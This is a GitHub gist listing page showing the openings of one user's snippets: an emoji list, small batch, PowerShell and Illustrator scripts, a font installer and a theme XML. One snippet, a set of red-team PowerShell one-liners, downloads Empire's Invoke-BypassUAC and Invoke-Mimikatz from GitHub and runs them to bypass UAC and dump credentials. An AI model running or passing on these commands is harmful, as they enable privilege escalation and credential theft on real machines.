Skip to content

Instantly share code, notes, and snippets.

@sionta
sionta / gist:7cd286523adf98d803730b663f12ef68
Created May 1, 2024 02:09 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@sionta
sionta / main.c
Created April 24, 2024 00:25
Just to test the embedding element
// This is a comment
#include <stdio.h>
int main() {
printf("Hello World!");
return 0;
}
@echo off
if "%~1"=="" goto :USAGE
where /q curl.exe || (
echo Error: curl command not found.
exit /b 1
)
setlocal enabledelayedexpansion
@sionta
sionta / cmdexe_profile.cmd
Last active February 3, 2024 23:31
My personal profile on Command Prompt (cmd.exe) shell
@ECHO OFF
:: Requires Clink v1.4+ https://github.com/chrisant996/clink
:: Optional:
:: oh-my-posh : https://github.com/jandedobbeleer/oh-my-posh
:: fuzzy-finder: https://github.com/junegunn/fzf
call :TEST_EXEC findstr && (
findstr "$" "%~f0" >nul || (
echo ERROR: The script has an LF line ending issue or a blank line at the end of the script is missing.
exit /b 1
@sionta
sionta / Install-Fonts.ps1
Created July 31, 2023 09:57
Fonts installer
#Requires -Version 3.0
<#
.SYNOPSIS
Fonts installer.
.DESCRIPTION
Install a specific font file or multiple from a directory.
.EXAMPLE
.\install-font.ps1 -Path .\myfonts\ -Recurse
Install all fonts including the 'myfonts' sub/directories.
@sionta
sionta / FontInstallation.ps1
Created July 30, 2023 19:14 — forked from anthonyeden/FontInstallation.ps1
Font User Installation - Powershell (No Admin Password Needed)
# Run this as a Computer Startup script to allow installing fonts from C:\InstallFont\
# Based on http://www.edugeek.net/forums/windows-7/123187-installation-fonts-without-admin-rights-2.html
# Run this as a Computer Startup Script in Group Policy
# Full details on my website - https://mediarealm.com.au/articles/windows-font-install-no-password-powershell/
$SourceDir = "C:\InstallFont\"
$Source = "C:\InstallFont\*"
$Destination = (New-Object -ComObject Shell.Application).Namespace(0x14)
$TempFolder = "C:\Windows\Temp\Fonts"
@sionta
sionta / properties.xml
Created July 15, 2023 03:37
for MiXplorer theme
<?xml version="1.0" encoding="utf-8"?>
<properties>
<entry key="title">Default</entry>
<entry key="author">Hootan Parsa</entry>
<!-- General -->
<entry key="density">320</entry>
<entry key="light_status_bar">false</entry>
<entry key="light_navigation_bar">false</entry>
<entry key="thumb_rounded_corner">50</entry> <!-- Percent -->
#target Illustrator
var requiredABsize = 1700; //px
var activeDoc = app.activeDocument;
var abActive = activeDoc.artboards[ activeDoc.artboards.getActiveArtboardIndex() ];
var abProps = getArtboardBounds(abActive);
var scale = findRequiredScale(abProps);
if (scale > 1)
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@sionta
sionta / Download-GitHubRelease.ps1
Last active July 25, 2023 21:55
Download GitHub Release File.
<#
.Synopsis
Download GitHub Release File.
.DESCRIPTION
A utilities tool for download GitHub release.
.PARAMETER Repository
The relative url of the repository (owner/repo).
.PARAMETER Pattern
Matching the pattern file name.
.PARAMETER TagName